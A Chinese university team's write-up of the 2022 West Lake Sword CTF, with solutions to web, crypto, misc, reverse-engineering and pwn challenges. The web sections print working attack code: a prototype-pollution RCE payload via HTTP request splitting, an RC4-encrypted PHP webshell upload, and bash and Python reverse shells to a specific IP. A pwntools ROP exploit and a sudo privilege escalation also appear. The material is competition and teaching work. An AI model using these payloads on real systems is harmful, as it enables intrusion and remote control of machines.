2022年,中国共产党第二十次全国代表大会顺利举行,我国正式开启第二个百年奋斗目标。二十大报告中提到,要推进国家安全体系和能力现代化,坚决维护国家安全和社会稳定。网络安全作为国家安全的关键部分,在现代化的未来,需要更多青年人才的投入与坚守。 “西湖论剑·中国杭州网络安全技能大赛”在过去5年中秉承网络安全人才培养的初心,为网络安全人才竞技提供创新舞台。本届大赛将回归网络安全的本质,持续选拔优秀网络安全人才、挖掘先进网络攻防技术,助力构筑安全、可靠的网络环境,为我国数字经济与现代化发展服务。
在本次比赛中,我校圣地亚哥皮蛋战队取得第25名。
Web
real_ez_node
扭转乾坤
Node Magical Login
unusual php
Crypto
MyErrorLearn
Misc
take_the_zip_easy
mp3
签到题喵
Re
Dual personality
PWN
DAS留言板
拿到源码,发现 routes/index.js 里面使用了 safe-obj,应该是考察他的原型链污染漏洞,因为对对象进行操作的nodejs模块存在原型链污染漏洞的概率是非常大的。使用以下poc进行测试,发现确实存在原型链污染:
const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);
但是题目过滤了 __proto__
源码,一般情况下直接用 constructor 和 prototype 组合 {"constructor": {"prototype": {"whoami": "Vulnerable"}}}
就能绕过了,但是这里不行。跟进 safeobj.expand()
的源码一探究竟:
发现如果键名里面存在 .
才会继续调用 _safe.expand
,相当于递归merge的操作,那么我们可以用以下构造便能绕过 __proto__
了:
{"constructor.prototype.whoami": "Vulnerable"}
此外,题目还是用了 ejs 模板引擎,那么我们很容易想到原型链污染+ejs构造RCE,但是触发原型链污染的/copy路由必须从127.0.0.1本地访问,需要进行ssrf:
发现 /curl 路由可以发起http请求,可以触发ssrf:
还有一点,/copy路由只能用post方法访问,从Dockerfile可以看到当前nodejs版本为8.1.2:
该版本存在 Unicode 字符损坏造成的 HTTP 拆分攻击,之前出过很多这种题目了,可以直接看我写的博客:https://xz.aliyun.com/t/9707#toc-11
编写以下脚本构造payload:
payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.117.125.220/2333 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''
.replace("\n","\r\n")def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
将生生成的payload进行url编码后发包:
成功反弹shell并得到flag:
一个java上传:
上传,需要从RFC规范差异绕过waf,直接参考https://www.anquanke.com/post/id/241265 这篇文章钟大哥描述,在Content-Type里面加一个空格即可绕过(即 multipart/fo rm-data),如下图所示。当然,加双引号也是可以绕过的。
请求成功之后直接就得到了 flag。
直接将cookie设为 user=admin 就可以拿到 flag1:
然后想办法拿到flag2:
这里的判断存在缺陷,我们可以通过json传入一个长度为16的数组,让 checkcode = checkcode.toLowerCase()
报错,然后进入 catch 就能拿到flag:
POST: /getflag2
Body:{"checkcode":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
直接读index.php发现乱码:
应该是对php源码进行了加密。读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展,如下图所示。
/?a=read&file=/proc/self/maps
通过php://filter加base64将zend_test.so读取出来:
/?a=read&file=php://filter/read=convert.base64-encode/woofers/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
然后用IDA逆向,发现 RC4_set_key 函数:
寻找调用该函数的地方,发现my_compile_file函数调用了这个RC4_set_key 函数:
反编译发现 RC4 密钥 abcsdfadfjiweur,见下图:
目前可以知道,服务器上的php源码是经过RC4加密的,题目加载自定义zend_test.so扩展,对php源码解密后进行解析。
因此我们在上传webshell的时候需要对webshell进行RC4加密,然后上传。
从网上找个RC4加密脚本:https://blog.51cto.com/pythonywy/2838927 简单改改即可成功上传webshell:
import requests
from Crypto.Cipher import ARC4def rc4_encrypt(data, key):
key = bytes(key, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
return res
files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>", "abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-eead2f3ac80e4ead9b3fccd9f665b816.m.ins.cloud.dasctf.com:81/?a=upload', files=files)
print(res.text)
然后反弹shell:
cmd=system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.117.125.220',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");
根目录发现flag:
直接读没有权限,需要提权,suid不行,尝试sudo提权:
sudo -l
在gtfobins上搜到chmod的sudo提权方法:
成功得到flag:
不会造格子,看到随机数只有246位,想到用二元cop梭
两组rd消掉secret
因为是个随机数,所以有一定可能没有逆元,多搞几组数据,总能跑出来
import gmpy2
import itertoolsdef small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
p = 25235191023234507111851456801584528206985042372267404671395031238130953062002356925024712987566004666222040105887691280375737186627897258541670845000341876132788858532732358145460508251021346995709254475670322359379637454607373466811177186085463653085496949031553289898489953299178676637862141836718530047773
r1 = 10544517294635945308817470415673953180771362098899599976968725399311297296771746063997656229842402301560388736537720072539280424639830877602651632407831551
d1 = 2782528780800419362659480974397004651422831281847745023224292163582634715423442801703341739873334730188828548753799159782529647181590717434501610505691395089780318863450133125982641536246649982688739268421835101997544552742224093729633871069390982382877002517870454671460305638156813116404018630273442795789
r2 = 10499691476661565229277475757146922660983129109495092615067985844065823389870815687394514169362044750353685361213441768156054347771612267920637103002028879
d2 = 3547744859224246950881898678283331489783118786682083992297673853987124277732975529747762299888847775026877369564156210168611385895832076443705943229153199445510086462041507723641534793223186305472220492817699838310227909445124212707082628331021332354893506157533573796617760071491467464095229951567625188503
def secret(p,r1,d1,r2,d2):
PR.<t1,t2> = PolynomialRing(Zmod(p))
f1 = d2+t2-(d2+t2)*(d1+t1)*r1
f2 = d1+t1-(d2+t2)*(d1+t1)*r2
f = f1-f2
roots = small_roots(f, (2^246, 2^246), m=5)
if roots:
t1,t2 = roots[0]
S = gmpy2.invert(int(d1+t1), p)-r1
return int(S)
else:
return 'nonono'
print(secret(p,r1,d1,r2,d2))
把求出的secret递回去
zip明文爆破的深入利用:已知文件名为dasflow.
加上zip默认头504B0304
,8+4=12,可以明文爆破
解压后是流量包
做过类似的,魔改的哥斯拉流量,套了一个gzdecode,das月赛书鱼的秘密,直接抄脚本:http://mon0dy.top/2022/04/11/2022DASCTF%20X%20SU%20%E4%B8%89%E6%9C%88%E6%98%A5%E5%AD%A3%E6%8C%91%E6%88%98%E8%B5%9B/#%E4%B9%A6%E9%B1%BC%E7%9A%84%E7%A7%98%E5%AF%86
挨个解,找到
先解响应包
<?phpfunction encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
#前后去掉16个定位符
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY='),$key));
看到adding flag,确定zip的密码在这个包的请求里
解请求包:
<?phpfunction encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
$data = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));
得到flag.zip的密码
在找到flag.zip
解压flag.zip即可
mp3尾部有个图片,提出来,zsteg发现有个zip压缩包
zip是损坏的,winrar修复一下,有密码
mp3stego空密码
提取出zip的密码为8750d5109208213f,解压
rot47
控制台一跑
图片底部有额外文字
ida打开后需要先定义函数,然后去掉一些没用的跳转后可以反编译代码
这里先进行了一次加密,dword的数据可以通过动调得到为0x5DF966AE
进入for循环的dword为0x3CA7259D,这样这一部分就可逆了
int __cdecl sub_401120(size_t Size, int a2)
{
char *v2; // ebx
char *retaddr; // [esp+D0h] [ebp+4h] dword_407050 = VirtualAlloc(0, Size + 6, 0x3000u, 0x40u);
dword_407000 = (int)dword_407050;
memcpy(dword_407050, retaddr, Size);
v2 = (char *)dword_407050 + Size;
*v2 = -23;
*(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
v2[5] = -52;
*retaddr = -22;
*(_DWORD *)(retaddr + 1) = a2;
*(_WORD *)(retaddr + 5) = 51;
return 0;
}
经过动调发现sub_401120函数会将这个地址后⾯的7个字节的地址改造成进⾏位数转化的jmp far
⽬标地址的指令,⽽新开空间保存的代码,他会跳转回原来返回地址+7的地方,跳过改造之后的代码
再往下看
这里进行了一次异或,407014只有4位,这里就是按位跟加密后的数据进行异或
在动调中401120函数又对407014的值产生了影响
经过计算值应该是4, 0x77, 0x82, 0x4a
再就是dword位与qword位之间的转化了
下面写解密脚本
data = [0xAA,0x4F,0x0F,0xE2,0xE4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0xBC,0x8F,0x8B,0x78,0xD3,0x73,0x88,0x5E,0xAE,0x47,0x85,0x70,0x31,0xB3,0x9,0xCE,0x13,0xF5,0xD,0xCA,0]
k = [4, 0x77, 0x82, 0x4a]
for i in range(len(data)):
data[i] ^= k[i % 4]data1 = []
for i in range(4):
a = data[i * 8]
a += data[i * 8 + 1] << 8
a += data[i * 8 + 2] << 16
a += data[i * 8 + 3] << 24
a += data[i * 8 + 4] << 32
a += data[i * 8 + 5] << 40
a += data[i * 8 + 6] << 48
a += data[i * 8 + 7] << 56
data1.append(a)
#print(data1)
def fun1(e, m):
return (e >> m) | ((e << (64 - m)) )
data1[0] = fun1(data1[0], 12)
data1[1] = fun1(data1[1], 34)
data1[2] = fun1(data1[2], 56)
data1[3] = fun1(data1[3], 14)
for i in range(4):
data[i * 8] = data1[i] & 0xff
data[i * 8 + 1] = (data1[i] >> 8) & 0xff
data[i * 8 + 2] = (data1[i] >> 16) & 0xff
data[i * 8 + 3] = (data1[i] >> 24) & 0xff
data[i * 8 + 4] = (data1[i] >> 32) & 0xff
data[i * 8 + 5] = (data1[i] >> 40) & 0xff
data[i * 8 + 6] = (data1[i] >> 48) & 0xff
data[i * 8 + 7] = (data1[i] >> 56) & 0xff
print(data)
data2 = []
for i in range(8):
a = data[i * 4]
a += data[i * 4 + 1] << 8
a += data[i * 4 + 2] << 16
a += data[i * 4 + 3] << 24
data2.append(a)
print(data2)
#[1846184147, 2330059187, 209878574, 218208010, 168089402, 120629780, 140382767, 282460734]
exp:
data2=[1846184147,2330059187,209878574,218208010,168089402,120629780,140382767,282460734]
t=0x3CA7259D
flag=[0]*32
flag1=[0]*8
for i in range(8):
flag1[i]=data2[i]-t
flag[i * 4] = flag1[i] & 0xff
flag[i * 4 + 1] = (flag1[i] >> 8) & 0xff
flag[i * 4 + 2] = (flag1[i] >> 16) & 0xff
flag[i * 4 + 3] = (flag1[i] >> 24) & 0xff
t ^= data2[i]
print(bytes(flag))
#b'6cc1e44811647d38a15017e389b3f704'
一次格式化字符串+orw
#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#p = process('./pwn')#, env={"LD_PRELOAD":'./libc.so.6'})
p = remote('tcp.cloud.dasctf.com',24690)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
sla('Welcome to DASCTF message board, please leave your name:\n','%p')
ru('Hello, 0x')
stack = int(r(12),16)+8
leak('stack',stack)
rdi = 0x0000000000401413
leave = 0x00000000004012e1
pl = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)
ru('Posted Successfully~\n')
libcbase = uu64(r(6)) - libc.sym['puts']
leak('libcbase',libcbase)
#rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx = libcbase + 0x0000000000142c92
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pl = b'./flag\x00\x00' + p64(rdi) + p64(stack-0x178) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x0404180) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x0404180) + p64(puts) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack-0x178)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)
itr()
感觉给的libc不太对,用2.31ubuntu9.7的打通了